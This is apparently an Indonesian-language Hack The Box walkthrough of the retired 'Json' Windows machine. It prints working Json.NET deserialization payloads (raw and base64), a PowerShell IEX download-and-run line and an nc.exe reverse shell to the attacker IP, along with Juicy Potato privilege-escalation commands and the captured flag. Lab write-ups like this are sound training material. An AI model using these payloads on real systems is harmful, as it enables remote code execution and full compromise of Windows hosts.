Json

Hack The Box - Machine Json Walktrough / Writeup

Introduce Machine

Mesin maker kali ini adalah Cyb3rb0b, sistem operasi yang digunakan Windows dan tingkatan dari mesin ini adalah Medium. Mesin ini direlease pada tanggal 28 Sep 2019 dan retired pada 16 February 2020 dini hari waktu indonesia bagian barat (WIB).

Enumeration

Seperti biasa hal yan pertama kita lakukan adalah Reconnaissance & Enumeration .

Port Scanning

Seperti halnya mesin apa pun, disini kita memulai dengan melakukan pemindaian port menggunakan nmap. Perintah yang saya gunakan disini Full Scan yang artinya akan melakukan pemindaian seluruh port untuk protocol TCP beserta dengan versi versinya.

nmap -vv -Pn -A --osscan-guess --version-all -p- 10.10.10.158

Dari hasil pemindaian tersebut, kita mendapatkan port menarik yang terbuka pada protocol tcp :

  • 21/tcp : ftp

  • 80/tcp : http

  • 445/tcp : Smb

PORT 80 HTTP

Di saat mencoba untuk mengakses layanan ftp & smb kita tidak dapat login menggunakan user anonyomus. Kita juga telah melakukan serangan bruteforce dan hasilnya nihil .

Maka dari itu kita langsung mengakses layanan http di ip tersebut dan kita diberikan sebuah halaman login page.

http://10.10.10.158/login.html

Default Credentials

Kita coba login menggunakan credentials default seperti admin:admin dan kitapun berhasil login ke dashboard

username: admin
password: admin

Enumeration

Setelah berhasil login, kita di arahkan ke halaman dashboard. Selama menangkap HTTP Trafic dengan Burp / Network Monitor, kita mendapatkan informasi yang cukup menarik.

Gambar diatas menunjukan bawha server akan melakukan request ke suatu data dengan endpoint /api/Account menggunakan Bearer Authorization Header .

OAuth 2.0 Bearer Token

Setelah itu OAuth Server yang akan melakukan proses Authentication dan Authorization. Kemudian client akan mendapatkan Access Token dari OAuth Server jika proses Authentication dan Authorization berhasil.

Bearer/OAuth2 by Base64 Encoding

Penggunaan Bearer/Oauth memiliki value yang sama, yang dimana kedua string tersebut di-encode menggunakan Base64 .

eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Hasil decode dari string tersebut memberikan output sebagai berikut :

{
"Id": 1,
"UserName": "admin",
"Password": "21232f297a57a5a743894a0e4a801fc3",
"Name": "User Admin HTB",
"Rol": "Administrator"
}

Informasi yang kita dapatkan disini adalah informasi user yang telah berhasil login berserta dengan hash passwordya.

admin : 21232f297a57a5a743894a0e4a801fc3

Getting Error Message

Apa yang terjadi jika kita memasukan random value pada Bearer ?, apakah itu akan mempengaruhi dari respons dari server.

Untuk random value tersebut saya melakukan encode base64 menggunakan string "Papoy".

Response :

{
"Message": "An error has occurred.",
"ExceptionMessage": "Cannot deserialize Json.Net Object",
"ExceptionType": "System.Exception",
"StackTrace": null
}

Dari respone yang diberikan kita melihat Exception Message yang menyatakan bawa kita tidak dapat men-deserliaze Json.net Object dan disini server juga secara langsung memproses string pada Bearer token tanpa validasi .

Deserialization Attack

Dalam melakukan penyerangan, kita akan menggunakan YSoSerial.Net untuk men-generate payload yang akan mengeksploitasi .NET Object Deserialization ini.

https://github.com/pwntester/ysoserial.net

Introduction Json.NET

Json.NET adalah JSON Framework yang digunakan untuk .NET dimana ini sangat popular dan memiliki performa yang cukup bagus.

Penyebab celah ini bisa terjadi dikarenkan property TypeNameHandling != None (value yang selain dari None itu vulnerable). Dalam dokumentasi penggunaan Json.NET juga sudah memberikan warning untuk menggunakan property TypeNameHandling dalam Serializer.

Reference : https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization

Json.NET deserializer

Dengan adanya informasi yang kita dapatkan melalui error mesasge tersebut, kita sudah mengetahui format yang akan kita gunakan untuk membuat payload yaitu Json.net .

Kita dapat menggunakan Gadget lainya seperti WindowsIdentity gadget yang memiliki format Json.net. Tapi di kali ini, saya akan menggunakan Gadget ObjectDataProvider.

ObjectDataProvider (ObjectDataProvider gadget)
Formatters:
DataContractSerializer, FastJson, FsPickler, JavaScriptSerializer, Json.Net, Xaml, XmlSerializer, YamlDotNet < 5.0.0

Remote Code Execution through Deserialization Attack

Hal pertama yang kita lakukan adalah memastikan apakah payload bekerja dengan baik atau tidak. Oleh karena itu payload yang akan kita buat cukup sederhana dahulu dengan fungsi melakukan ping command ke ip kita.

Raw Payload :

{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c ping 10.10.14.49']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Encode Base64 :

Verify The Payload

Kita kirimkan GET Request /api/Account/ tadi ke repeater di burpsuite, dan dibagian header Bearer kita ganti dengan payload yang sudah kita bikin melalaui YSoSerial.Net ataupun secara manual.

Setelah kita mengirimkan request tersebut, kita mendapatkan hit back dari server dengan ip 10.10.10.158 telah melakukan ping ke server kita 10.10.14.49.

Ini menunjukkan kalau payload kita berhasil dengan baik dan kita dapat juga menjalankan suatu perintah ke server target.

Initial Shell

Ditahapan selanjutnya kita akan berusaha mendapatkan akses shell dari server tersebut, dengan mengupload sebuah file reverse shell menggunakan Powershell.

PowerShell – Download File

Untuk mendownload sebuah file menggunakan Powershell, kita dapat menggunakan perintah seperti dibawah ini :

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.49/rev.ps1')

Reference : https://gist.github.com/m8r0wn/b6654989035af20a1cb777b61fbc29bf

Powershell – Reverse shell

Selanjutnya kita akan menyiapkan sebuah file untuk melakukan reverse shell melalui Powershell. Kita dapat menggunakan referensi beberapa source yang ada di github.

Making Payload To Get Shell

Disini kita masih menggunakan jenis Gadget ObjectDataProvider dengan format Json.Net.

{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c powershell IEX(New-Object Net.WebClient).downloadString(\'http://10.10.14.49/rev.ps1\')']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Encode Base64 Payload :

ewogICAgJyR0eXBlJzonU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUnLAogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsCiAgICAnTWV0aG9kUGFyYW1ldGVycyc6ewogICAgICAgICckdHlwZSc6J1N5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OScsCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBvd2Vyc2hlbGwgSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuZG93bmxvYWRTdHJpbmcoXCdodHRwOi8vMTAuMTAuMTQuNDkvcmV2LnBzMVwnKSddCiAgICB9LAogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknfQp9

Selajutnya kita akan mengirim kembali request ke server target beserta dengan payload yang telah kita bikin.

Dan jangan lupa Listener kita juga harus dalam keaadan listening, sebelum request dikirimkan ke server target.

Setelah mengirimkan request tersebut, kita mendapatkan hit back kembali dari server dengan ip 10.10.10.158 telah mendownload file rev.ps1 milik kita .

Get Users.txt

Listener yang kita buat tadi pun mendapatkan balasan dan kita sudah mendapatkan akses shell berserta dengan flag user.txt

Ditahapan selanjutnya kita akan melakukan Previlege Escalation untuk menadpatkan akses user yang lebih tinggi.

Previlege Escalation

Hal pertama yang kita harus lakukan adalah melakukan enumerasi juga terhadap server yang telah berhasil kita compromise, seperti system yang digunakan apa dan masing - masing previlege yang dimiliki oleh user apa saja.

Misalnya untuk pengecekan system informasi kita bisa menggunakan perintah systeminfo dan whoami /priv untuk melihat previlege yang dimiliki oleh masing" user .

Impersonate Previlege Enabled

Dengan informasi sistem yang digunakan adalah Windows Server 2012 Data Center dan user Userpool memiliki previlege SetImpersonatePrivilege di aktifkan. Kita dapat melakukan serangan Juicy Potato Exploit.

Kalian dapat membaca tentang Juicy potato lebih detail di official github repository nya.

Juicy Potato (abusing the golden privileges)

Kita mebutuhkan CLSID yang sesuai dengan sistem target, berhubung kita sudah mengetahui server target menggunakan Windows Server 2012 Data center. Kita akan memilih salah satu saja yang ada pada dokumentasi githubnya.

LocalService

AppID

CLSID

User

wuauserv

{653C5148-4DCE-4905-9CFD-1B23662D3D9E}

{f3b4e234-7a68-4e43-b813-e4ba55a065f6}

NT AUTHORITY\SYSTEM

Reference : https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2012_Datacenter

Jika Juicy Potato.exe tidak bekerja coba gunakan CLSID lainnya atau kita dapat mengekstrak CLSID menggunakan script GetCLSID.ps1

Download Juicy Potato into Server

Disini kita akan menggunakan nc.exe untuk mendapatkan back connect dengan previlege tinggi (NT AUTHORITY\SYSTEM) yang akan dilakukan oleh juicy potato.exe ini

C:\tmp>type reverse.bat
type reverse.bat
C:\tmp\nc.exe 10.10.14.49 5891 -e cmd.exe
C:\tmp>

Dan selanjutnya menjalankan Juicy Potato.exe

NT AUTHORITY\SYSTEM

C:\tmp>juicy.exe -l 9999 -p C:\tmp\reverse.bat -t * -c {f3b4e234-7a68-4e43-b813-e4ba55a065f6}
juicy.exe -l 9999 -p C:\tmp\reverse.bat -t * -c {f3b4e234-7a68-4e43-b813-e4ba55a065f6}
Testing {f3b4e234-7a68-4e43-b813-e4ba55a065f6} 9999
....
[+] authresult 0
{f3b4e234-7a68-4e43-b813-e4ba55a065f6};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

Setelah proccess berjalan dengan baik, kita akan mendapatkan akses shell dengan user sebagai NT AUTHORITY\SYSTEM

Get Root.txt

Kita dapat membaca flag dari file root.txt.

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>type C:\Users\superadmin\Desktop\root.txt
3cc85d1bed2ee84af4074101b991d441

Terimakasih, Kalo di rasa tulisan ini bermanfaat, silahkan Share. Semoga kebermanfaatan ini terus berlanjut!

Download Versi PDF

Teman teman juga dapat mendownload tulisan ini dalam format pdf.